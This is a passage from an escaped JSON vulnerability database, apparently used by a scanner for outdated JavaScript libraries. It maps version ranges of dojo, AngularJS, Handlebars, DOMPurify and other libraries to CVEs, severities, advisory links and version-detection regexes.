\"http://www.cvedetails.com/cve/CVE-2010-2276/\",\n          \"http://www.cvedetails.com/cve/CVE-2010-2274/\",\n          \"http://www.cvedetails.com/cve/CVE-2010-2273/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.2\",\n        \"below\": \"1.2.4\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2010-2276\",\n            \"CVE-2010-2274\",\n            \"CVE-2010-2273\"\n          ]\n        },\n        \"info\": [\n          \"http://dojotoolkit.org/blog/dojo-security-advisory\",\n          \"http://www.cvedetails.com/cve/CVE-2010-2276/\",\n          \"http://www.cvedetails.com/cve/CVE-2010-2274/\",\n          \"http://www.cvedetails.com/cve/CVE-2010-2273/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.3\",\n        \"below\": \"1.3.3\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2010-2276\",\n            \"CVE-2010-2274\",\n            \"CVE-2010-2273\"\n          ]\n        },\n        \"info\": [\n          \"http://dojotoolkit.org/blog/dojo-security-advisory\",\n          \"http://www.cvedetails.com/cve/CVE-2010-2276/\",\n          \"http://www.cvedetails.com/cve/CVE-2010-2274/\",\n          \"http://www.cvedetails.com/cve/CVE-2010-2273/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.4\",\n        \"below\": \"1.4.2\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2010-2276\",\n            \"CVE-2010-2274\",\n            \"CVE-2010-2273\"\n          ]\n        },\n        \"info\": [\n          \"http://dojotoolkit.org/blog/dojo-security-advisory\",\n          \"http://www.cvedetails.com/cve/CVE-2010-2276/\",\n          \"http://www.cvedetails.com/cve/CVE-2010-2274/\",\n          \"http://www.cvedetails.com/cve/CVE-2010-2273/\"\n        ]\n      },\n      {\n        \"below\": \"1.4.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2010-2275\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2010-2275/\"\n        ]\n      },\n      {\n        \"below\": \"1.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2008-6681\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2008-6681/\"\n        ]\n      },\n      {\n        \"below\": \"1.10.10\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"PR\": \"307\"\n        },\n        \"info\": [\n          \"https://github.com/dojo/dojo/pull/307\",\n          \"https://dojotoolkit.org/blog/dojo-1-14-released\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.11.0\",\n        \"below\": \"1.11.6\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"PR\": \"307\"\n        },\n        \"info\": [\n          \"https://github.com/dojo/dojo/pull/307\",\n          \"https://dojotoolkit.org/blog/dojo-1-14-released\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.12.0\",\n        \"below\": \"1.12.4\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"PR\": \"307\"\n        },\n        \"info\": [\n          \"https://github.com/dojo/dojo/pull/307\",\n          \"https://dojotoolkit.org/blog/dojo-1-14-released\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.13.0\",\n        \"below\": \"1.13.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"PR\": \"307\"\n        },\n        \"info\": [\n          \"https://github.com/dojo/dojo/pull/307\",\n          \"https://dojotoolkit.org/blog/dojo-1-14-released\"\n        ]\n      },\n      {\n        \"below\": \"1.14\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2018-15494\"\n          ]\n        },\n        \"info\": [\n          \"https://dojotoolkit.org/blog/dojo-1-14-released\"\n        ]\n      },\n      {\n        \"below\": \"1.11.10\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2020-5258\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/dojo/dojo/security/advisories/GHSA-jxfh-8wgv-vfr2\"\n        ]\n      },\n      {\n        \"below\": \"1.12.8\",\n        \"atOrAbove\": \"1.12.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2020-5258\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/dojo/dojo/security/advisories/GHSA-jxfh-8wgv-vfr2\"\n        ]\n      },\n      {\n        \"below\": \"1.13.7\",\n        \"atOrAbove\": \"1.13.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2020-5258\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/dojo/dojo/security/advisories/GHSA-jxfh-8wgv-vfr2\"\n        ]\n      },\n      {\n        \"below\": \"1.14.6\",\n        \"atOrAbove\": \"1.14.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2020-5258\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/dojo/dojo/security/advisories/GHSA-jxfh-8wgv-vfr2\"\n        ]\n      },\n      {\n        \"below\": \"1.15.3\",\n        \"atOrAbove\": \"1.15.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2020-5258\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/dojo/dojo/security/advisories/GHSA-jxfh-8wgv-vfr2\"\n        ]\n      },\n      {\n        \"below\": \"1.16.2\",\n        \"atOrAbove\": \"1.16.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2020-5258\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/dojo/dojo/security/advisories/GHSA-jxfh-8wgv-vfr2\"\n        ]\n      },\n      {\n        \"below\": \"1.17.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Prototype pollution\",\n          \"CVE\": [\n            \"CVE-2021-23450\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/dojo/dojo/pull/418\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"dojo.version.toString()\"\n      ],\n      \"uri\": [\n        \"/(?:dojo-)?(§§version§§)/dojo(\\\\.min)?\\\\.js\"\n      ],\n      \"filename\": [\n        \"dojo-(§§version§§)(\\\\.min)?\\\\.js\"\n      ],\n      \"filecontentreplace\": [\n        \"/dojo.version=\\\\{major:([0-9]+),minor:([0-9]+),patch:([0-9]+)/$1.$2.$3/\"\n      ],\n      \"hashes\": {\n        \"73cdd262799aab850abbe694cd3bfb709ea23627\": \"1.4.1\",\n        \"c8c84eddc732c3cbf370764836a7712f3f873326\": \"1.4.0\",\n        \"d569ce9efb7edaedaec8ca9491aab0c656f7c8f0\": \"1.0.0\",\n        \"ad44e1770895b7fa84aff5a56a0f99b855a83769\": \"1.3.2\",\n        \"8fc10142a06966a8709cd9b8732f7b6db88d0c34\": \"1.3.1\",\n        \"a09b5851a0a3e9d81353745a4663741238ee1b84\": \"1.3.0\",\n        \"2ab48d45abe2f54cdda6ca32193b5ceb2b1bc25d\": \"1.2.3\",\n        \"12208a1e649402e362f528f6aae2c614fc697f8f\": \"1.2.0\",\n        \"72a6a9fbef9fa5a73cd47e49942199147f905206\": \"1.1.1\"\n      }\n    }\n  },\n  \"angularjs\": {\n    \"bowername\": [\n      \"angularjs\",\n      \"angular.js\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"below\": \"1.8.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"XSS may be triggered in AngularJS applications that sanitize user-controlled HTML snippets before passing them to JQLite methods like JQLite.prepend, JQLite.after, JQLite.append, JQLite.replaceWith, JQLite.append, new JQLite and angular.element.\",\n          \"CVE\": [\n            \"CVE-2020-7676\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/advisories/GHSA-5cp4-xmrw-59wf\"\n        ]\n      },\n      {\n        \"below\": \"1.8.0\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"angular.js prior to 1.8.0 allows cross site scripting. The regex-based input HTML replacement may turn sanitized code into unsanitized one.\",\n          \"CVE\": [\n            \"CVE-2020-7676\"\n          ]\n        },\n        \"info\": [\n          \"https://nvd.nist.gov/vuln/detail/CVE-2020-7676\"\n        ]\n      },\n      {\n        \"below\": \"1.7.9\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Prototype pollution\",\n          \"retid\": \"47\"\n        },\n        \"info\": [\n          \"https://github.com/angular/angular.js/commit/726f49dcf6c23106ddaf5cfd5e2e592841db743a\",\n          \"https://github.com/angular/angular.js/blob/master/CHANGELOG.md#179-pollution-eradication-2019-11-19\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.5.0\",\n        \"below\": \"1.6.9\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"XSS through SVG if enableSvg is set\",\n          \"retid\": \"48\"\n        },\n        \"info\": [\n          \"https://github.com/angular/angular.js/blob/master/CHANGELOG.md#169-fiery-basilisk-2018-02-02\",\n          \"https://vulnerabledoma.in/ngSanitize1.6.8_bypass.html\"\n        ]\n      },\n      {\n        \"below\": \"1.5.0-beta.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"XSS through xlink:href attributes\",\n          \"CVE\": [\n            \"CVE-2019-14863\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/angular/angular.js/blob/master/CHANGELOG.md#150-beta1-dense-dispersion-2015-09-29\",\n          \"https://github.com/advisories/GHSA-r5fx-8r73-v86c\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.3.0\",\n        \"below\": \"1.5.0-rc2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"The attribute usemap can be used as a security exploit\",\n          \"retid\": \"49\"\n        },\n        \"info\": [\n          \"https://github.com/angular/angular.js/blob/master/CHANGELOG.md#1230-patronal-resurrection-2016-07-21\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.0.0\",\n        \"below\": \"1.2.30\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"The attribute usemap can be used as a security exploit\",\n          \"retid\": \"50\"\n        },\n        \"info\": [\n          \"https://github.com/angular/angular.js/blob/master/CHANGELOG.md#1230-patronal-resurrection-2016-07-21\"\n        ]\n      },\n      {\n        \"below\": \"1.6.3\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Universal CSP bypass via add-on in Firefox\",\n          \"retid\": \"51\"\n        },\n        \"info\": [\n          \"https://github.com/mozilla/addons-linter/issues/1000#issuecomment-282083435\",\n          \"http://pastebin.com/raw/kGrdaypP\"\n        ]\n      },\n      {\n        \"below\": \"1.6.3\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"DOS in $sanitize\",\n          \"retid\": \"52\"\n        },\n        \"info\": [\n          \"https://github.com/angular/angular.js/blob/master/CHANGELOG.md\",\n          \"https://github.com/angular/angular.js/pull/15699\"\n        ]\n      },\n      {\n        \"below\": \"1.6.5\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"XSS in $sanitize in Safari/Firefox\",\n          \"retid\": \"53\"\n        },\n        \"info\": [\n          \"https://github.com/angular/angular.js/commit/8f31f1ff43b673a24f84422d5c13d6312b2c4d94\"\n        ]\n      },\n      {\n        \"below\": \"1.999\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"End-of-Life: Long term support for AngularJS has been discontinued\",\n          \"retid\": \"54\"\n        },\n        \"info\": [\n          \"https://blog.angular.io/discontinued-long-term-support-for-angularjs-cc066b82e65a?gi=9d3103b5445c\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"angular.version.full\"\n      ],\n      \"uri\": [\n        \"/(§§version§§)/angular(\\\\.min)?\\\\.js\"\n      ],\n      \"filename\": [\n        \"angular(?:js)?-(§§version§§)(.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*[ \\n]+AngularJS v(§§version§§)\",\n        \"http://errors\\\\.angularjs\\\\.org/(§§version§§)/\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"backbone.js\": {\n    \"bowername\": [\n      \"backbonejs\",\n      \"backbone\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"below\": \"0.5.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"release\": \"0.5.0\",\n          \"summary\": \"cross-site scripting vulnerability\",\n          \"retid\": \"46\"\n        },\n        \"info\": [\n          \"http://backbonejs.org/#changelog\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"Backbone.VERSION\"\n      ],\n      \"uri\": [\n        \"/(§§version§§)/backbone(\\\\.min)?\\\\.js\"\n      ],\n      \"filename\": [\n        \"backbone(?:js)?-(§§version§§)(.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"//[ ]+Backbone.js (§§version§§)\",\n        \"a=t.Backbone=\\\\{\\\\}\\\\}a.VERSION=\\\"(§§version§§)\\\"\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"mustache.js\": {\n    \"bowername\": [\n      \"mustache.js\",\n      \"mustache\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"below\": \"0.3.1\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"bug\": \"112\",\n          \"summary\": \"execution of arbitrary javascript\"\n        },\n        \"info\": [\n          \"https://github.com/janl/mustache.js/issues/112\"\n        ]\n      },\n      {\n        \"below\": \"2.2.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"bug\": \"pull request 530\",\n          \"summary\": \"weakness in HTML escaping\"\n        },\n        \"info\": [\n          \"https://github.com/janl/mustache.js/releases/tag/v2.2.1\",\n          \"https://github.com/janl/mustache.js/pull/530\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"Mustache.version\"\n      ],\n      \"uri\": [\n        \"/(§§version§§)/mustache(\\\\.min)?\\\\.js\"\n      ],\n      \"filename\": [\n        \"mustache(?:js)?-(§§version§§)(.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"name:\\\"mustache.js\\\",version:\\\"(§§version§§)\\\"\",\n        \"[^a-z]mustache.version[ ]?=[ ]?(?:'|\\\")(§§version§§)(?:'|\\\")\",\n        \"exports.name[ ]?=[ ]?\\\"mustache.js\\\";[\\n ]*exports.version[ ]?=[ ]?(?:'|\\\")(§§version§§)(?:'|\\\");\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"handlebars\": {\n    \"bowername\": [\n      \"handlebars\",\n      \"handlebars.js\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"below\": \"1.0.0.beta.3\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"poorly sanitized input passed to eval()\",\n          \"issue\": \"68\"\n        },\n        \"info\": [\n          \"https://github.com/wycats/handlebars.js/pull/68\"\n        ]\n      },\n      {\n        \"below\": \"4.0.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Quoteless attributes in templates can lead to XSS\",\n          \"issue\": \"1083\"\n        },\n        \"info\": [\n          \"https://github.com/wycats/handlebars.js/pull/1083\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"4.0.0\",\n        \"below\": \"4.0.13\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"summary\": \"A prototype pollution vulnerability in handlebars is exploitable if an attacker can control the template\",\n          \"retid\": \"43\"\n        },\n        \"info\": [\n          \"https://snyk.io/vuln/SNYK-JS-HANDLEBARS-173692\",\n          \"https://github.com/wycats/handlebars.js/commit/7372d4e9dffc9d70c09671aa28b9392a1577fd86\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"4.0.0\",\n        \"below\": \"4.0.14\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"summary\": \"A prototype pollution vulnerability in handlebars is exploitable if an attacker can control the template\",\n          \"issue\": \"1495\"\n        },\n        \"info\": [\n          \"https://snyk.io/vuln/SNYK-JS-HANDLEBARS-174183\",\n          \"https://github.com/wycats/handlebars.js/issues/1495\",\n          \"https://github.com/wycats/handlebars.js/commit/cd38583216dce3252831916323202749431c773e\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"4.1.0\",\n        \"below\": \"4.1.2\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"summary\": \"A prototype pollution vulnerability in handlebars is exploitable if an attacker can control the template\",\n          \"issue\": \"1495\"\n        },\n        \"info\": [\n          \"https://snyk.io/vuln/SNYK-JS-HANDLEBARS-174183\",\n          \"https://github.com/wycats/handlebars.js/issues/1495\",\n          \"https://github.com/wycats/handlebars.js/commit/cd38583216dce3252831916323202749431c773e\"\n        ]\n      },\n      {\n        \"below\": \"4.3.0\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"Disallow calling helperMissing and blockHelperMissing directly\",\n          \"retid\": \"44\"\n        },\n        \"info\": [\n          \"https://github.com/wycats/handlebars.js/blob/master/release-notes.md#v430---september-24th-2019\"\n        ]\n      },\n      {\n        \"below\": \"4.5.3\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Prototype pollution\",\n          \"retid\": \"45\"\n        },\n        \"info\": [\n          \"https://github.com/wycats/handlebars.js/blob/master/release-notes.md#v453---november-18th-2019\"\n        ]\n      },\n      {\n        \"below\": \"4.6.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Denial of service\",\n          \"issue\": \"1633\"\n        },\n        \"info\": [\n          \"https://github.com/handlebars-lang/handlebars.js/pull/1633\"\n        ]\n      },\n      {\n        \"below\": \"4.7.7\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Prototype pollution\",\n          \"retid\": \"71\"\n        },\n        \"info\": [\n          \"https://github.com/handlebars-lang/handlebars.js/commit/f0589701698268578199be25285b2ebea1c1e427\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"Handlebars.VERSION\"\n      ],\n      \"uri\": [\n        \"/(§§version§§)/handlebars(\\\\.min)?\\\\.js\"\n      ],\n      \"filename\": [\n        \"handlebars(?:js)?-(§§version§§)(.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"Handlebars.VERSION = \\\"(§§version§§)\\\";\",\n        \"Handlebars=\\\\{VERSION:(?:'|\\\")(§§version§§)(?:'|\\\")\",\n        \"this.Handlebars=\\\\{\\\\};[\\n\\r \\t]+\\\\(function\\\\([a-z]\\\\)\\\\{[a-z].VERSION=(?:'|\\\")(§§version§§)(?:'|\\\")\",\n        \"/\\\\*+![\\\\s]+(?:@license)?[\\\\s]+handlebars v(§§version§§)\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"easyXDM\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"2.4.18\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-5212\"\n          ]\n        },\n        \"info\": [\n          \"http://blog.kotowicz.net/2013/09/exploiting-easyxdm-part-1-not-usual.html\",\n          \"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5212\"\n        ]\n      },\n      {\n        \"below\": \"2.4.19\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2014-1403\"\n          ]\n        },\n        \"info\": [\n          \"http://blog.kotowicz.net/2014/01/xssing-with-shakespeare-name-calling.html\",\n          \"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1403\"\n        ]\n      },\n      {\n        \"below\": \"2.4.20\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"This release fixes a potential XSS for IE running in compatibility mode.\",\n          \"retid\": \"39\"\n        },\n        \"info\": [\n          \"https://github.com/oyvindkinsey/easyXDM/releases/tag/2.4.20\"\n        ]\n      },\n      {\n        \"below\": \"2.5.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"This tightens down the default origin whitelist in the CORS example.\",\n          \"retid\": \"40\"\n        },\n        \"info\": [\n          \"https://github.com/oyvindkinsey/easyXDM/releases/tag/2.5.0\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"uri\": [\n        \"/(?:easyXDM-)?(§§version§§)/easyXDM(\\\\.min)?\\\\.js\"\n      ],\n      \"filename\": [\n        \"easyXDM-(§§version§§)(.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \" \\\\* easyXDM\\n \\\\* http://easyxdm.net/(?:\\r|\\n|.)+version:\\\"(§§version§§)\\\"\",\n        \"@class easyXDM(?:.|\\r|\\n)+@version (§§version§§)(\\r|\\n)\"\n      ],\n      \"hashes\": {\n        \"cf266e3bc2da372c4f0d6b2bd87bcbaa24d5a643\": \"2.4.6\"\n      }\n    }\n  },\n  \"plupload\": {\n    \"bowername\": [\n      \"Plupload\",\n      \"plupload\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"below\": \"1.5.4\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2012-2401\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2012-2401/\"\n        ]\n      },\n      {\n        \"below\": \"1.5.5\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-0237\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2013-0237/\"\n        ]\n      },\n      {\n        \"below\": \"2.1.9\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2016-4566\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/moxiecode/plupload/releases\"\n        ]\n      },\n      {\n        \"below\": \"2.3.7\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Fixed security vulnerability by adding die calls to all php files to prevent them from being executed unless modified.\",\n          \"retid\": \"35\"\n        },\n        \"info\": [\n          \"https://github.com/moxiecode/plupload/releases/tag/v2.3.7\"\n        ]\n      },\n      {\n        \"below\": \"3.1.3\",\n        \"atOrAbove\": \"3.0.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Fixed security vulnerability by adding die calls to all php files to prevent them from being executed unless modified.\",\n          \"retid\": \"36\"\n        },\n        \"info\": [\n          \"https://github.com/moxiecode/plupload/releases/tag/v3.1.3\"\n        ]\n      },\n      {\n        \"below\": \"3.1.4\",\n        \"atOrAbove\": \"3.0.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Fixed a potential security issue with not entity encoding the file names in the html in the queue/ui widgets.\",\n          \"retid\": \"37\"\n        },\n        \"info\": [\n          \"https://github.com/moxiecode/plupload/releases/tag/v3.1.4\"\n        ]\n      },\n      {\n        \"below\": \"2.3.8\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Fixed a potential security issue with not entity encoding the file names in the html in the queue/ui widgets.\",\n          \"retid\": \"38\"\n        },\n        \"info\": [\n          \"https://github.com/moxiecode/plupload/releases/tag/v2.3.8\"\n        ]\n      },\n      {\n        \"below\": \"3.1.5\",\n        \"atOrAbove\": \"3.0.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Fixed another case of html entities not being encoded that could be exploded by uploading a file name with html in it.\",\n          \"retid\": \"41\"\n        },\n        \"info\": [\n          \"https://github.com/moxiecode/plupload/releases/tag/v3.1.5\"\n        ]\n      },\n      {\n        \"below\": \"2.3.9\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Fixed another case of html entities not being encoded that could be exploded by uploading a file name with html in it.\",\n          \"retid\": \"42\"\n        },\n        \"info\": [\n          \"https://github.com/moxiecode/plupload/releases/tag/v2.3.9\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"plupload.VERSION\"\n      ],\n      \"uri\": [\n        \"/(§§version§§)/plupload(\\\\.min)?\\\\.js\"\n      ],\n      \"filename\": [\n        \"plupload-(§§version§§)(.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"\\\\* Plupload - multi-runtime File Uploader(?:\\r|\\n)+ \\\\* v(§§version§§)\",\n        \"var g=\\\\{VERSION:\\\"(§§version§§)\\\",.*;window.plupload=g\\\\}\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"DOMPurify\": {\n    \"bowername\": [\n      \"dompurify\",\n      \"DOMPurify\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"below\": \"0.6.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"retid\": \"24\"\n        },\n        \"info\": [\n          \"https://github.com/cure53/DOMPurify/releases/tag/0.6.1\"\n        ]\n      },\n      {\n        \"below\": \"0.8.6\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"retid\": \"25\"\n        },\n        \"info\": [\n          \"https://github.com/cure53/DOMPurify/releases/tag/0.8.6\"\n        ]\n      },\n      {\n        \"below\": \"0.8.9\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"safari UXSS\",\n          \"retid\": \"26\"\n        },\n        \"info\": [\n          \"https://github.com/cure53/DOMPurify/releases/tag/0.8.9\",\n          \"https://lists.ruhr-uni-bochum.de/pipermail/dompurify-security/2017-May/000006.html\"\n        ]\n      },\n      {\n        \"below\": \"0.9.0\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"safari UXSS\",\n          \"retid\": \"27\"\n        },\n        \"info\": [\n          \"https://github.com/cure53/DOMPurify/releases/tag/0.9.0\"\n        ]\n      },\n      {\n        \"below\": \"2.0.16\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"Fixed an mXSS-based bypass caused by nested forms inside MathML\",\n          \"retid\": \"28\"\n        },\n        \"info\": [\n          \"https://github.com/cure53/DOMPurify/releases\"\n        ]\n      },\n      {\n        \"below\": \"2.0.17\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"Fixed another bypass causing mXSS by using MathML\",\n          \"retid\": \"29\"\n        },\n        \"info\": [\n          \"https://github.com/cure53/DOMPurify/releases\"\n        ]\n      },\n      {\n        \"below\": \"2.1.1\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"Fixed several possible mXSS patterns, thanks @hackvertor\",\n          \"retid\": \"30\"\n        },\n        \"info\": [\n          \"https://github.com/cure53/DOMPurify/releases\"\n        ]\n      },\n      {\n        \"below\": \"2.2.0\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"Fix a possible XSS in Chrome that is hidden behind #enable-experimental-web-platform-features\",\n          \"retid\": \"31\"\n        },\n        \"info\": [\n          \"https://github.com/cure53/DOMPurify/releases\"\n        ]\n      },\n      {\n        \"below\": \"2.2.2\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"Fixed an mXSS bypass dropped on us publicly via\",\n          \"retid\": \"32\"\n        },\n        \"info\": [\n          \"https://github.com/cure53/DOMPurify/releases\"\n        ]\n      },\n      {\n        \"below\": \"2.2.3\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"Fixed an mXSS issue reported\",\n          \"retid\": \"33\"\n        },\n        \"info\": [\n          \"https://github.com/cure53/DOMPurify/releases\"\n        ]\n      },\n      {\n        \"below\": \"2.2.4\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"Fixed a new MathML-based bypass submitted by PewGrand. Fixed a new SVG-related bypass submitted by SecurityMB\",\n          \"retid\": \"34\"\n        },\n        \"info\": [\n          \"https://github.com/cure53/DOMPurify/releases\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"DOMPurify.version\"\n      ],\n      \"filecontent\": [\n        \"DOMPurify.version = '(§§version§§)';\",\n        \"DOMPurify.version=\\\"(§§version§§)\\\"\",\n        \"DOMPurify=.[^\\\\r\\\\n]{10,850}?\\\\.version=\\\"(§§version§§)\\\"\",\n        \"/\\\\*! @license DOMPurify (§§version§§)\",\n        \"var .=\\\"dompurify\\\"+.{10,550}?\\\\.version=\\\"(§§version§§)\\\"\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"react\": {\n    \"vulnerabilities\": [\n      {\n        \"atOrAbove\": \"0.4.0\",\n        \"below\": \"0.4.2\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-7035\"\n          ],\n          \"summary\": \"potential XSS vulnerability can arise when using user data as a key\"\n        },\n        \"info\": [\n          \"https://facebook.github.io/react/blog/2013/12/18/react-v0.5.2-v0.4.2.html\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"0.5.0\",\n        \"below\": \"0.5.2\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-7035\"\n          ],\n          \"summary\": \"potential XSS vulnerability can arise when using user data as a key\"\n        },\n        \"info\": [\n          \"https://facebook.github.io/react/blog/2013/12/18/react-v0.5.2-v0.4.2.html\"\n        ]\n      },\n      {\n        \"below\": \"0.14.0\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \" including untrusted objects as React children can result in an XSS security vulnerability\",\n          \"retid\": \"23\"\n        },\n        \"info\": [\n          \"http://danlec.com/blog/xss-via-a-spoofed-react-element\",\n          \"https://facebook.github.io/react/blog/2015/10/07/react-v0.14.html\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"16.0.0\",\n        \"below\": 